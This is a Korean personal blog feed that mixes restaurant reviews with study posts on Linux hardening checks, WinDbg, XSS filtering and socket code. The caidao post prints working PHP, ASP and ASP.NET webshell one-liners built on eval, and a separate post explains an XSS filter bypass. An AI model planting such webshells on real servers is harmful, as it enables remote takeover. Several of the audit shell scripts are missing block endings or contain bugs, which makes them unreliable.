코딩노트

[문송슐랭]_경주_현대호텔_조식 뷔페 후기

진짜귀찮음 — Thu, 5 Jul 2018 17:31:32 +0900

[문송슐랭]_경주_현대호텔_조식 뷔페 후기

안녕하세요 오랫만에 돌아온 문송슐랭 후기 입니다.

몇 주전에 경주_현대호텔을 다녀 왔습니다. 거기서 빼먹을 수 없는 것이 역시 먹거리겠죠?

그렇게 때문에 경주_현대호텔 조식 및 디너 뷔페의 후기를 올려보도록 하겠습니다.

먹은 건 디너 부터 였지만 그래도 조식부터 포스팅 하도록 하겠습니다.

저희가 들어가고 배정 받은 식탁이에요.

역시 그래도 호텔이라 일반 뷔페보다는 정갈하고 깔끔하다고 느껴졌어요.

(호텔이라는 것이 고정관념 일 수도 있지만.....)

사람 완전 많죠? 그래서 너무 오픈하고 조금 시간있다가 오면

음식 집을 때 줄을 좀 서야 되요...ㅠ

이제 본격적으로 기다리시던 음식사진들이 나오기 시작할꺼에요

기대해주세요!!!

일단 대나무 잎이였나요? 기억이 가물가물 하네요 맞을 꺼에요

대나무 잎에 감싸진 밥이에요.

무슨 느낌이냐면 죽통밥 많이 드셔보셨죠? 딱 그맛이랑 똑같다고 보시면 되는데

살짝 더 단맛이 강한 느낌이 들었어요

국과 숭늉인데 전 끌리지 않아서 먹지는 않았어요.

달걀과 야채칸 음 전 세가지다 패스 했어요 ㅋㅋㅋ

조식메뉴중 가장 강추 메뉴!!!! 벨기에 와플이에요.

저번 옛날에 방문했을 때는 이 메뉴가 없었어요!

대신 핫케잌이 있었죠.

핫케잌이 사라지고 나온 메뉴같은데 와플이 훨씬더 맛있었어요.

게다가 와플 옆에 생크림이랑 메이플 시럽이 있으니 취향 대로 맞추시면

될거 같아요.

(옆에 버섯도 맛있어요!)

빵으로 배를 채우기 싫어서 초코 머핀 딱 하나 먹었는데 일반적인 맛이 였어요

햄 치즈 등등 코너인데 와 치즈가 너무 짜더라구요.

전복죽 먹다 그래서 그런가......

이유는 밑을 보시면 알게 되실꺼에요.

죽이에요. 조식에 빼놓을 수 가 없겠죠?

처음 접시를 가져올 때 죽을 처음에 가져왔어요. 그것도 전복죽을 말이죠.

전복죽..... 음...... 요즘 아무리 저염식이 대새라고는 하지만 너무 심했어요. 아예 아무런 간도

되있지 않는 상태? 라고 말하면 가장 적절한 표현일 꺼에요.

그래서 가져온 그릇에 소금을 꽤 많이 뿌렸는데 잘나오지도 않구....

그래서 햔 숟갈 퍼고 소금 거따가 뿌리고 이런식으로 해서 먹었습니다.

개인적으로 너무 싱거워서 비추 하는 메뉴중 하나에요.

과일들 단맛이 너무 쎄지 않고 신맛도 쎄지 않고 적당한 맛이라서

디져트로 하나씩 집어먹었 습니다.

가져온 접시들

더 있지만 좀 사진 잘나온 것들 만 해서 올리도록 할게요!!

문슐랭 후기

평점 : 3.3 / 5.0

후기

3. 초반대를 줬어요. 이유는 너무 무난해요. 어떤 식으로 무난 하나면요. 호텔에서 먹는 뷔페가 아닌 것 같은 느낌을 매우 많이 받았아요.

아니 그냥 일반 로드샵 같은 뷔페랑 비슷 하다고 보시면 될 것 같아요.

제가 한때 한식 뷔페에서 주방에서 일 한적이 몇달 되는데 맛이 비슷했고 오히려 더 못한 메뉴도 있었어요. 예를 들면 죽 같은거요 싱거워서.....

그리고 메뉴의 양이에요. 너무 없어요. 솔직히 몇번 가저다 먹으면 셋팅된 메뉴는 전부 드셔보실 수있으실 꺼에요.

그래도 장점도 꽤 있었어요. 일단 호텔이라 그런지 굉장히 깔끔하구 고급스럽다는 느낌을 많이 받았어요. 그리고 재료의 질이 좋았습니다

몇몇 의 메뉴는 확실히 질이 좋다는 느낌은 많이 받았습니다.

너무 무난하고 적은 메뉴의 수가 감점요인이 컷던 것 같습니다.

[신림] 양꼬치 무한리필_만성찬팅_문수르와 송이사의 맛집탐방

진짜귀찮음 — Sun, 3 Jun 2018 20:52:34 +0900

[신림] 양꼬치 무한리필_만성찬팅

안녕하세요 오늘은 룰렛을 돌렷는데 중식 -> 양꼬치 -> 신림이라는 랜덤 결과가 나와서

신림에 유명한 양꼬치 무한 리필 만성찬팅에 왔습니다.

예전에는 만성양꼬치라고 기억하는데 바꼈네요.

[신림] 양꼬치 무한리필_만성찬팅 매장 사진

매장 전면 사진입니다!

매장 내부사진

물씬 중국의 냄새가 풍기는 인테리어네요.

[신림] 양꼬치 무한리필_만성찬팅 음식 사진

메뉴판 사진 입니다.

양꼬치 말고도 수 많은 사이드 메뉴가 있습니다.

이제 주인공인 양 을 한번 먹어보도록 하겠습니다.

처음 자리에 않으면

양꼬치를 찍어먹는 소스와 잔차이, 땅콩, 단무지 이렇게 세팅을 해주십니다.

(저는 개인적으로 잔차이는 별로 맛이 그래서 한번먹고 손에도 대지도 않았습니다.)

그리고 꼬치를 이렇게 가져다 주십니다!!!!

양, 소, 닭, 갈매기살, 돼지, 고기완자, 새우 이렇게 있습니다. 처음 세팅때는

전부 세팅을 해주시지만 리필을 할 때는 먹고 싶은거만 리필하셔서 드시면 되십니다.

하나씩 꼬치를 올려볼까요?!

빙글빙글 잘 돌아가며 골고루 익습니다.

※ 아 처음 숯불의 세기가 강하기 때문에 중간꺼는 엄청 빨리 익어요 유의하고 구우시면 됩니다.

돌아가는 영상 한번 보고 가시죠!! ㅎ

저희는 수 많은 사이드 메뉴중에 꿔바로우를 주문했습니다.

꿔바로우 먹을 생각에 기대가 되는군요!!

저희가 먹은양 얼마 되지 않네요.... 솔직히 더먹을 수 있었지만. ㅎㅎ

[신림] 양꼬치 무한리필_만성찬팅 문송슐랭 평점

문슐랭 : 3.0 / 5.0

송슐랭 : 2.9 / 5.0

이유

문수르 : 무한뷔페이라는 점을 감안해서 고기들의 질은 그렇게 나쁘게 느껴지지 않았습니다.

하지만 맛에 와 계속 끌린다? 라는 맛이 약간 부족한 느낌이였습니다.

꿔바로우는 딱 평균점의 맛으로 느꼈습니다. 이건 아마 제가 처음 먹은 꿔바로우가

너무 맛있었던 지라 개인 차가 있을 것 입니다.

예전에 소금이 자리에 있었던걸로 기억하는데 아쉽네요 ㅠ 따로 달라고 하면 주니 걱정

안하셔도 됩니다.

무한 뷔페라는 점을 감안하여 맛과 질은 충분히 1만3천원 가격 이상의 값어치를 한다고

생각 했습니다.

신림 근처에 사신다면 양꼬치 무한 뷔페를 가고 싶다! 그러면 만성을 추천합니다.

거리가 멀면 음.....굳이..

아 저는 갈매기살, 고기완자 이 두가지 꼬치는 정말 맛있었습니다.

이 두가지만 꼬치로 판단한다면 개인적으론 3.5가 넘지 않앗을까 싶네요.

송이사 : 일단 꿔바로우는 먹어본 꿔바로우중에 평균 이상의 맛을 내는 것 같아 저는 맛있게

먹었습니다.

저는 쯔란을 첨에 찍어 먹었습니다. 향신료를 싫어 하지만 괜찬게 먹었습니다.

그리고 문슐랭 추천 대로 소금을 찍었는데 괜찮아서 그 후로 소금을 찍어 먹었습니다.

특별한 맛이 없는 점에 공감이 갔고 먼거리에서 굳이 먹으로 올 특별한 맛은

아니였습니다.

하지만 거리가 가깝다면 충분히 올만한 가치가 있다고 봅니다.

거리가 가깝다는 가정하에 양꼬치를 배터지게 먹고 싶다 그럼 가격 대비 효율은

정말 좋다고 봅니다.

홍대_마츠에죠우 라멘 리뷰_문수르와 송이사의 맛집탐방

진짜귀찮음 — Thu, 31 May 2018 00:22:11 +0900

문송슐랭_홍대점_마츠에죠우

안녕하세요. 맛집 탐방을 취미로 하고 있습니다.

이제 맛집 리뷰 및 발견을 포스팅 해보려고 합니다.

문송슐랭의 평점은 가장 하단에 위치하게 될 것입니다.

마츠에죠우_홍대점 위치

마츠에죠우는 일식집입니다. 본점은 합정에 있지만 전 홍대에 들일일이 있어서 홍대점을

방문 하였습니다.

다음에는 합정 본점도 맛을 본 후 리뷰를 올리도록 하겠습니다.

문송슐랭_홍대점_마츠에죠우 매장 사진

입구 사진 입니다.

육수를 재첩베이스를 사용!!!

때문에 일본캐릭터가 재첩을 열심히 캐고 있는 간판입니다.

가게에 들어가면 지하로 내려가야합니다. 윗층은 계산 및 주방으로 보였습니다.

가보시면 분위기가 정말 좋습니다. 사진보다 더 분위기가 Good.......

분위기에서 문송슐랭 점수가 가산이 되었습니다.

(여자친구랑 오면 정말 좋을 것 같습니다.......)

귀엽네요 ㅎㅎ

홍대점_마츠에죠우 메뉴판~~

예전에 처음 방문햇을때랑 메뉴판이 바뀌었네요?!

예전 메뉴판이 분위기가 더 좋았지만 낡아서 읽기 불편하고 그래서 바꿧나봅니다!!!

(보기 깔끔해서 좋았습니다.)

마지막 장은 주류라 생략했습니다.

홍대점_마츠에죠우 음식~~

저는 마츠에죠우 대표 메뉴? 가장 베스트 메뉴라고 적혀있는 시지미 라멘을 주문을

하였습니다.

다른 사이드메뉴도 시키고 싶었지만.....

지갑상태가...ㅠㅠ 다음에는 튀김류도 주문해보도록 하겠습니다.

완식!!!!!

아!! 여기서 문송슐랭의 꿀팁!!

면을 다먹고 공깃밥 말아 드세요!! 공깃밥은 추가금액이 붙지 않습니다. 밥은 국물에 다 넣지말구 밥을 숟가락으로 퍼서 찍먹하듯이 드시는게 더욱 맛잇고 편하십니다.

홍대점_마츠에죠우 평가

문수르 점수 : 4.0 / 5.0 입니다.

4.대가 잘 나오지 않을 것 같은데 첫 집부터 4. 대로 측정이 되었습니다!!!

점수의 이유

일식집의 분위기와 인테리어가 매우 좋은점에서 가산점이 붙었습니다.

맛은 정말 휼륭했습니다.

일단 재첩 베이스라 그런지 텁텁하지 않고 시원하고 개운한 맛이 강하게 남아

좋았습니다.

다만 감점의 이유는 면발에 그 좋은 국물의 맛이 잘 베여있지 않다? 라는 점

이 감점의 이유 였습니다.

하지만 면발과 국물을 같이 먹으면 조화가 정말 잘되어 그 점을 상쇄시킬수 있었습니다.

재방문 의사 : 95%

[주요통신기반시설] 1.13 동일한 UID

진짜귀찮음 — Thu, 17 May 2018 14:13:41 +0900

[주요통신기반시설] 1.13 동일한 UID

[주요통신기반시설] 1.13 동일한 UID 소스코드

#!/bin/bash

####### 1.13 #######

overlap=`cat /etc/passwd | awk -F: '{print $1,$3}' | sort | uniq -D -f 1`

if [ -z ${overlap} ];

then

echo "OK Good"

else

echo "##### DANGER #####"

echo ""

echo $overlap

파일 다운로드

1.13.sh

[주요통신기반시설] 1.12 계정 관리

진짜귀찮음 — Thu, 17 May 2018 14:09:05 +0900

[주요통신기반시설] 1.12 계정 관리

[주요통신기반시설] 1.12 계정 관리 소스코드

#!/bin/bash

echo "####### 1.12 #######"

moon_view=`cat /etc/group | awk -F: '{print $4}' | sed -n '1p'`

if [ -z ${moon_view} ];

then

echo "Ok Good"

else

echo "Danger"

echo $moon_view

파일 다운로드

1.12_gid.sh

[주요통신기반시설] 1.10~11 계정 관리

진짜귀찮음 — Thu, 17 May 2018 14:03:49 +0900

* 도중에 누락된 번호는 이전 스크립트에 포함되어 있기 때문에 누락 하였습니다. ㅠ

[주요통신기반시설] 1.10 계정 관리

[주요통신기반시설] 1.11 root 계정 관리

[주요통신기반시설] 1.10~11 계정 관리 소스코드

#!/bin/bash

####### 1.10 Default ID #######

ID=`cat /etc/passwd | awk -F: '{print $1}' | egrep "adm|lp|sync|shutdown|halt|news|uucp|operator|games|gopher|nfsnobody|squid" `

if [ -z "${ID}" ];

then

echo "OK Good!!"

else

echo "##### Danger #####"

echo $ID

####### 1.11 #######

group_id=`cat /etc/group | grep root | awk -F: '{print $4}'`

if [ -z "${group_id}" ];

then

echo "OK good!!"

else

echo "##### Danger #####"

echo $group_id

파일 다운로드

1.10~11_ID.sh

[주요통신기반시설] 1.5~6 root 계정 관리

진짜귀찮음 — Thu, 17 May 2018 13:44:32 +0900

[주요통신기반시설] 1.5 root UID 0 금지

[주요통신기반시설] 1.6 root 계정 관리

[주요통신기반시설] 1.5~6 root 계정 관리 소스 코드

#!/bin/bash

########## 1.5 root_UID ##########

while read line

passwd_ID=`echo $line | awk -F: '{print $1}'`

passwd_uid=`echo $line | awk -F: '{print $3}'`

if [ ${passwd_ID} = "root" ];

then

echo "root pass"

else

if [ ${passwd_uid} -eq 0 ];

then

echo $passwd_ID " uid is " $passwd_uid " Danger!!"

else

echo $passwd_ID " uid is " $passwd_uid " safe!!"

done < /etc/passwd

########## 1.6 root_su ##########

echo ""

echo "###### 1.6 root su ######"

su_check=`cat /etc/pam.d/su | grep "#auth"`

if [ -z "${su_check}" ];

then

echo "Clear"

else

echo "Danger you need del '#'"

echo $su_sheck

파일 다운로드

1.5~6_root_Uid_su.sh

[주요통신기반시설] 1.2~4 패스워드 관련

진짜귀찮음 — Wed, 9 May 2018 05:04:08 +0900

[주요통신기반시설] 1.2~4 패스워드 보안 설정

쉘 스크립트 소스

#!/bin/bash

######## 1.2 password ##########

max_days=`grep "^PASS_MAX_DAYS" /etc/login.defs | awk '{print $2}'`

min_days=`grep "^PASS_MAX_DAYS" /etc/login.defs | awk '{print $2}'`

min_len=`grep "^PASS_MIN_LEN" /etc/login.defs | awk '{print $2}'`

echo "Max days " $max_days

echo "Min days " $min_days

echo "Min len " $min_len

####### 1.3 passowrd ###########

password_deny=`grep deny= /etc/pam.d/system-auth | awk '{print $4}' | awk -F = '{print $2}'`

if [ -z "`grep deny= /etc/pam.d/system-auth`" ];

then

echo "Danger_no login deny time" 2>&1

else

echo "Deny time : "$password_deny " in Login" 2>&1

##### 1.4 password_protect ###########

if [ -z "cat /etc/passwd | grep root | awk -F: '{print $2}' | sed -n '1p' = x" ];

then

echo "Danger"

else

if test -r /etc/shadow

then

echo "shadow file Ok!"

else

echo "No shadow File Danger!!"

설치파일

1.2-4_root_password.sh

[주요통신기반시설] 1.1 root 계정 원격 접속제한_스크립트

진짜귀찮음 — Wed, 9 May 2018 04:44:59 +0900

[주요통신기반시설] 1.1 root 계정 원격 접속제한

cent os 7 기반으로 스크립트를 제작 하였습니다.

1.1 root 계정 원격 접속제한_스크립트

#!/bin/bash

if [ -z "`grep -v 'pts\?' /etc/securetty`" ];

then

echo "clear" 2>&1

else

echo "danger" 2>&1

쉘스크립트 다운로드

1.1_root.sh

kernel32.dll 주소값 찾기

진짜귀찮음 — Thu, 1 Mar 2018 00:34:24 +0900

kernel32.dll 주소값 찾기

※ TEB

현재 실행중인 쓰래드에 대한 정보를 담고 있는 구조체

※ PEB

현재 실행중인 프로세스에 대한 정보를 담고 있는 구조체

windbg 를 이용해 ie 를 열었습니다. 해당으로 kernel32.dll 을 찾아보도록 하겠습니다.

(주소 값은 pc 환경이나 실행동작 등으로 다르게 나오실 거라 제 사진이랑 같지 않습니다.)

TEB (Thread Environment Block)

windbg 를 명령어 !teb 를 통해 TEB 정보를 한번 확인 하였습니다.

TEB 주소 값이 0324f000 인 것을 확인 할 수 있습니다.

dt 명령어를 통해 이제 메모리 값을 확인 해 보도록 하겠습니다.

+0x30 란을 보시면 ProcessEnvironmentBlock 탭에 PEB 주소 값이 표시되어 있는 것을 확인 할 수 있습니다.

이제 PEB 주소로 넘어가도록 해보겠습니다. (LDR 주소를 찾기 위해서 이죠)

※ LDR (프로세스에 로드된 모듈의 정보를 담고 있는 구조체)

PEB (Process Environment Block)

PEB 의 메모리 내용 밑쪽의 0x00c 에 LDR 주소값이 있는 것을 확인 할 수 있습니다.

지금 0x77d9ab40 이라고 나타나져 있군요.

들어가보도록 하겠습니다.

0x014 탭에 inMemoryOrdrModuleList 가 있는데 그 앞의 주소값 0x36d1d48 - 8 로 들어가 보도록 합니다.

(-8을 해주는 이유는 좀더 공부해서 확실하게 되면 수정하겠습니다. flink 에서 -8 이유가 구조 때문에 그런 것 같은데 확실하게 설명을 못해서..ㅠ)

들어가보면 저희가 실행시킨 파일이 ie 라는 것을 확인 할 수 있었습니다. 또 한번 똑같은 방식으로 들어가 보도록 하겠습니다.

※ ntdll

ntdll.dll의 역활은 유저모드 코드에서 발생하는 시스템 자원에 대한 접근을 커널모드에게 요청하는 역활을 수행함.

ntdll.dll 이 커널모드에게 요청을 한다고 햇습니다. 그럼? 저 주소를 한번더 따라 들어가면??

커널의 주소값을 확인 할 수 가 있습니다. DllBase 인 0x77aa0000 가 해당 주소 값입니다.

(아직 시스템 공부를 시작한지 얼마안되서 설명도 미흡하구 그러네요 저두 아직 확실하게 개념이 박힌것이 아니라 공부하면서 계속 수정해 나가겠습니다.)

caidao-20160620 웹쉘

진짜귀찮음 — Tue, 9 Jan 2018 21:35:35 +0900

caidao-20160620 웹쉘

caldao.exe 를 실행합니다.

그러면 아래와 같이 초기화면을 확인 할 수 있습니다.

초기화면의 예시 중 php의 설정을 확인 해보도록 하겠습니다.

제 이름으로 하나 탭을 따로 만들 었습니다.

caidao-20160620 웹쉘_ 코드 삽입

caidao-20160620 웹쉘은 3가지 언어를 이용해 삽입 할 수 있습니다.

php : <?php @eval($_POST[\'moonho\']);?>

ASP: <%eval request("moonho")%>

ASP.NET : <%@ Page Language="Jscript"%><%eval(Request.item["moonho"],unsafe;)%>

삽입 후 모습입니다.

caidao-20160620 웹쉘_ 서버접속

만든 탭에 들어간 후 add를 이용하여 서버를 입력해 줍니다.

이런식으로 설정을 해줍니다.

등록이 되었습니다.

접속 하도록 하겠습니다.

접속 성공.

참조 사이트 :

http://blog.naver.com/PostView.nhn?blogId=koromoon&logNo=220809628069&categoryNo=15&parentCategoryNo=0&viewDate=¤tPage=1&postListTopCurrentPage=1&from=search

리눅스(cent os) gethostname 127.0.0.1 출력관련

진짜귀찮음 — Sat, 23 Dec 2017 15:11:46 +0900

리눅스(cent os) gethostname 127.0.0.1 출력관련

소켓을 다시 손을 대다가 포스팅 하게 되었습니다.

※ 해당 소켓 소스는

http://book.naver.com/bookdb/book_detail.nhn?bid=10772872

화이트 해커를 위한 암호와 해킹

해당 서적을 공부하며 알게 된 내용을 포스팅 한 내용입니다

gethostname 함수로 본인의 pc의 이름을 알아올 수 가 있죠.

이것을 이용해 패킷을 캡쳐 할 때 어떠한 네트워크? 의 패킷을 캡쳐해야하는 지 지정을 할 수 있죠.

그런데 말입니다. 본인의 예상과 다른 name 값을 불러들일 때가 있습니다.

내가 캡쳐를 원하는 패킷은 ens33 의 ip 입니다. 하지만 그냥 돌려본다면?!

?? lo 로 패킷을 캡쳐해버리네요....ㅠ 역시 첫방에는 원하는 데로 되지 않네요.

이렇게 뜨는 이유는 리눅스의 설정 파일 때문에 발생하는 문제 입니다. 이제 이유를 알아보도록

하겠습니다.

/etc/hosts 파일의 설정을 확인 해 볼까요.

이런식으로 되어 있네요 ㅎ 수정을 해보도록 하죠.

원하는 ip 를 작성해 주고 뒤에 어떤 이름으로 할껀지 지정을 해주겠습니다.

재시작을 해줘야 적용이 되겠죠?

적용이 완료 되었습니다.!

네이버 웹 스마트에디터 2.9.0 취약사항(디폴트 값)

진짜귀찮음 — Wed, 20 Dec 2017 17:40:50 +0900

네이버 웹 스마트에디터 2.9.0 취약사항(디폴트 값)

원래 처음에는 그누보드 5.9.3 버젼을 찾아 보다가..ㅠ 아직까지 실패해서 결과물이 없네요...ㅠ

그러다가 우연찬게 찾은 것을 포스팅 해보도록 하겠습니다.

일단 가장 먼저 접근을 해본 곳이 1:1 게시판 이였습니다.

이쪽부분이 가장 취약할 꺼라고 판단 해서 였죠.

우선 script 이런 기본적인 xss 는 역시나 전부 필터링이 되있었습니다.

그래서 아래 와 같은 공격으로 그냥 한번 떄려 보았습니다.

???? xss 공격에 성공했습니다!! 와.. 이때는 정말 5.9.3 의 취약점을 찾은 줄 알았죠....하..

다시 한번 더 해당 게시글을 들어가보니 xss 구문이 모두 필터링 되어있었습니다..

실패했다는 것이였죠..

XSS 실패이유

그누보드 소스를 보시면 bbs/qawrite.php 파일에 해당 라인이 잇었습니다.

해당라인에 html_purifier 라이브러리를 사용해 필터를 적용시키고 있었죠,

그럼 왜? 쓰는 당시에는 되었던 것일까요? 이것에 대한 의문점 생기더군요.

막 고민을 해보다, 혹시 스마트 에디터의 문제점이 아닐까? 라는 생각이 들었습니다.

그래서 스마트 에디터의 소스를 파기 시작했습니다.

네이버 스마트 에디터 적용 후 취약부분

제가 따로만든 홈페이지에 스마트 에디터를 적용해보면서

해당 부분의 js로 기능 들을 불러온다 는 것 을 알게 되었습니다.

설정을 하기 위한 스크립트 부분

해당 라인이 보이실겁니다.

그냥 바로 네이버 스마트 에디터를 다운 받으신 분은 아마 이런 라인이 없으실겁니다.

그게 정상입니다.

만약 저 라인을 주석을 해제해버린다면 모든 스마트 에디터의 모든 xss 가 먹힐테니 깐 말이죠.

스킨은 해당 파일에서 끌어서 오는 군요.

SmartEditor2Skin.html 에서 끌어오는 js 파일입니다

처음에는 주석에 설정파일? 저것에 혹해서 해당 js 파일을 봣는데 필터와 관련된 것이 없더군요.

그래서 그 아래 js 파일인

이쪽 js 파일로 접근을 해보았습니다.

필터부분을 바로 찾았습니다!!!! 위에 바로 있더군요 ㅎ

처음에 onerror 을 이용한 xss 공격은 정규식에 포함되어있지 않네요?!

그래서 xss 공격이 성공 한 것이였습니다.

저두 해당 디폴트 값을 찾았는데 다른분들은 이미 진작에 찾았겠죠? ㅠ

해당 주석을 보면 블랙리스트 추가를 해라구 이미 권고가 되어 있습니다.

하지만 해당 부분을 모르고 사용하시는 분들이 꽤 계실것 같아서 포스팅을 하게

되었습니다.

(윈도우)파이썬3.버젼 pip 및 pycryptodome (암호화 모듈) 설치

진짜귀찮음 — Fri, 4 Aug 2017 16:05:03 +0900

오랫만에 글을 쓰는것 같네요 이 부분은 저도 까먹을 까봐 남겨 두는 개념인 것 같네요 ㅎ

나중에 다시 찾을 때 편하니깐...ㅎ

PIP 설치

https://bootstrap.pypa.io/get-pip.py

위의 사이트에 가서 소스를 그대로 다운 받아 오시게 되면

get-pip.py 라는 소스 파일 하나를 얻을 수 있게 됩니다.

cmd 창을 관리자 권한으로 여신 후

python get-pip.py 를 입력하시면 옵션들이 출력되면서 pip 가 성공적으로 설치가 완료 되게 됩니다.

만약 pip 설치후 cmd 창에 pip 를 입력을 하셨는데 알 수 없는 명령어 입니다!

라고 뜨시는 경우에는 아래와 같은 명령어로 치시면 되십니다.

py -m pip

참 간단하죠! ㅎㅎ 이렇게 pip 설치는 완벽하게 끝이 났네요...

pycryptodome 설치

이 라이브러리를 설치할 때 삽질을 좀 했네요.....ㅎㅎ 암호모듈 (AES, DES 등)을 사용하실때 필요한 모듈이에요.

구글에 찾아보시면 전부 2. 버젼 기준으로 많이 있어서 pycrypto 를 설치하라고 되있는 것이 많죠.

만약 지금 2. 버젼을 사용하고 계시면

아래 명령어를 이용하셔서 설치하시면 되십니다.

pip install pycrypto

py -m install pycrypto

이제 3.버젼 기준으로 설명을 드리겠습니다.ㅎ

3.버젼은 pycryptodome 를 설치하면 됩니다. 찾아보느라 삽질좀 했습니다...ㅠ

명령어

pip install pycyptodome

py -m pip insatll pycryptodome

워너크라이 랜섬웨어 예방방법 - 보호나라

진짜귀찮음 — Mon, 15 May 2017 10:54:21 +0900

워너크라이 예방방법

이번에 랜섬이 핫 하네요.... 그런데 사실상 마소에서는 해당 SMB 취약점이 있다고 3월에 공고한바 있죠...ㅎㅎ 감염 된 PC 도 보면 주로 xp, 윈7 (보안 업데이트 미실시) 를 사용하고 계신 사용자 들이 대상이 되었죠.

주구장창 취약점 내용이나 그런 것을 을 작성하고 싶지만 그런건 궁금해하시는 분이 많지 않을 거 같아서 보호나라 에서 권고한 예방방법으로 바로 넘어가도록 하겠습니다.

사실상 보호나라에 안드가진 다는 분이 많으셔서... 올려 봅니다.

궁금한점 있으시면 덧글 달아주세요 ㅎ 아는대로 답변해 드리겠습니다 ㅎ

C언어 소켓프로그래밍 2편- Http request - response

진짜귀찮음 — Sun, 12 Feb 2017 17:26:01 +0900

C언어 소켓프로그래밍 - Http request - response

허허 .... 이것 저것 하다 보니 포스팅 한다는 것을 까먹고 있었네요..... 죄송합니다... ㅠ

바로 포스팅하도록 하겠습니다!!!

(★ 아... 그리고 해당 소스코드말고 동적으로 http request 를 보낼 수 있게 하고 받아오는 response

가 클 경우 짤리는 것, 작을시 쓰레기값 출력 이 부분을 수정한 코드도 있으니 포스팅하고 바로

올리도록 하겠습니다. ㅎ)

참조 사이트 모음

☞ http://mintnlatte.tistory.com/

☞ http://forum.falinux.com/zbxe/?mid=network_programming

☞ http://m.blog.naver.com/sarah7_2000/80203615486

☞ http://kyh1026.tistory.com/76

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <WinSock2.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32.lib")
 
#define BUFF_SIZE 1024
 
int main()
{
    WSADATA wsa;
    struct hostent *host;
    char msg[BUFF_SIZE]; //나중에 결과값을 저장하기 위한 선언
 
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
    {
        perror("WSAStart Error ");
        system("pause");
        return -1;
    }
 
    SOCKET sock = socket(PF_INET, SOCK_STREAM, 0);
    SOCKADDR_IN addr;
 
    if (sock == INVALID_SOCKET)
    {
        perror("Sock Error ");
        system("pause");
        return -1;
    }
    host = gethostbyname("www.google.co.kr");
 
    addr.sin_family = AF_INET;
    addr.sin_port = htons(80);
    addr.sin_addr.s_addr = inet_addr(inet_ntoa(*(struct in_addr*)*host->h_addr_list));
 
    if(connect(sock,(SOCKADDR*)&addr,sizeof(addr)) == SOCKET_ERROR) 
    {
        printf("Not Connect \n");
        system("pause");
        return 1;
    }
    send(sock, "GET / HTTP/1.1\r\nHost: www.google.co.kr\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: www.google.co.kr\r\n\r\n"), 0);
    recv(sock,msg,BUFF_SIZE,0);
 
    printf("%s \n",msg);
 
    closesocket(sock);
    WSACleanup();
    system("pause");
    
    return 0;
}
 
Colored by Color Scripter
cs

1편이 어디서 끝났지?? 라는 분이 계실까봐 1편의 마지막 부분도 살짝 첨부하도록 하겠습니다.

    SOCKET sock = socket(PF_INET, SOCK_STREAM, 0);

    SOCKADDR_IN addr;

SOCKET 변수 로 소켓을 생성해볼까요?

레퍼런스: int socket(int domain, int type, int protocol); 으로 사용됩니다.

● PF_INET 는 IPv4 프로토콜을 뜻함.

● SOCK_STREAM 은 연결지향을 뜻함. (SOCK_DGRAM 은 비연결성을 뜻함)

● 0 은 특정 프로토콜을 사용하는 부분인데 보통 0을 쓴다고 합니다.

socket() 에 관련해 제가 참조한 사이트를 링크 걸겠습니다.

정말 자세하게 나와있으므로 세부적인 부분은 여기서 공부하시면 될 듯 합니다.

☞ http://forum.falinux.com/zbxe/index.php?document_srl=429387&mid=C_LIB

struct sockaddr_in{
   short sin_family;
   unsigned short sin_port;
   struct in_addr sin_addr;
   char sin_zero[8];

};

레퍼런스 MS 링크

☞ https://msdn.microsoft.com/ko-kr/library/zx63b042(v=vs.110).aspx

자!! 이제 진짜 2편 으로 가보도록 하겠습니다.

    if (sock == INVALID_SOCKET)

{

        perror("Sock Error ");

        system("pause");

        return -1;

}

sock == INVALID_SOCKET 이란 조건을 일단 확인 하실 수 있으실 겁니다.

이 조건은 소켓생성이 실패하였을떄 INVALID_SOCKET 라는 반환값을 반환하게 됩니다 (-1 값)

그렇게 때문에 오류확인을 위해 넣어준 코드 중 하나라고 보시면 되십니다.

host = gethostbyname("www.google.co.kr");

이 구문을 이제 살펴 보도록 하죠. gethostbyname 이라는 레퍼런스를 사용하였네요.

나중에 www.google.co.kr 의 주소를 ip 주소로 변경해 주기 위한 작업중 하나에요.

만약 '네이버' 를 타켓으로 설정하실려면 '네이버' 도메인 주소로 설정해 주면 되겠죠?

struct hostent *host;

host 는 코드상단부분의 이 부분입니다.

그렇다는 것은?! hostent 의 구조체의 내용을 살펴봐야한다는 뜻이 되겠죠?ㅎ

struct hostent
{
  char *h_name;                 /* Official name of host.  */
  char **h_aliases;             /* Alias list.  */
  int h_addrtype;               /* Host address type.  */
  int h_length;                 /* Length of address.  */
  char **h_addr_list;           /* List of addresses from name server.  */
#define h_addr  h_addr_list[0]  /* Address, for backward compatibility.  */
};

이제 거의 제일 중요한 설정 부분이라고 할수 있겠습니다.

addr.sin_family = AF_INET;
addr.sin_port = htons(80);

addr.sin_addr.s_addr = inet_addr(inet_ntoa(*(struct in_addr*)*host->h_addr_list));

포스트 상단에서 확인 하실 수 있드시 socketaddr_in 구조체를 사용한 부분 입니다.

struct sockaddr_in{
   short sin_family;             // 인터넷 주소체계 IPv4 or IPv6
   unsigned short sin_port;     // Port 주소
   struct in_addr sin_addr;    // ip 주소를 나타내는 구조체
   char sin_zero[8];          // sockaddr 과 같은 크기 유지

};

이런 구조를 가지고 있구요 상단보다 더 자세하죠? 지금 표현하는게 나은 것 같아서요 ㅎ

addr.sin_family 주소체계를 나타난다고 했죠? 저희는 IPv4 를 사용하니 AF_INET 를 사용해 주는 겁니다.

주소쳬계 및 프로토콜 체계는 아래의 블로그에서 확인해 주시면 되실 것 같습니다.

(AF_INET 와 같은 것들)

링크: http://bbolmin.tistory.com/25

addr.sin_port = htons(80);

addr.sin_port 포트를 지정해주는곳이니 포트를 지정해주도록 합니다.

그런데 왜 htons 라는 레퍼런스를 사용할까요? 그것은 바로 PC 와 네트워크의 데이터 저장 방식이 다르기 때문입니다.

PC의 경우 리틀엔디안 방식으로 데이터를 저장하게 됩니다.

네트워크의 경우 빅엔디안 방식으로 데이터를 저장하게 됩니다.

(구글에 해당 방식을 검색하면 자세히 나오더라구요 ㅎ 제가 포스팅하는거보다 더 이해하시기 편하 실 것 같습니다. 절대 귀찮아서 그런것이 아닙니다!! ㅎ)

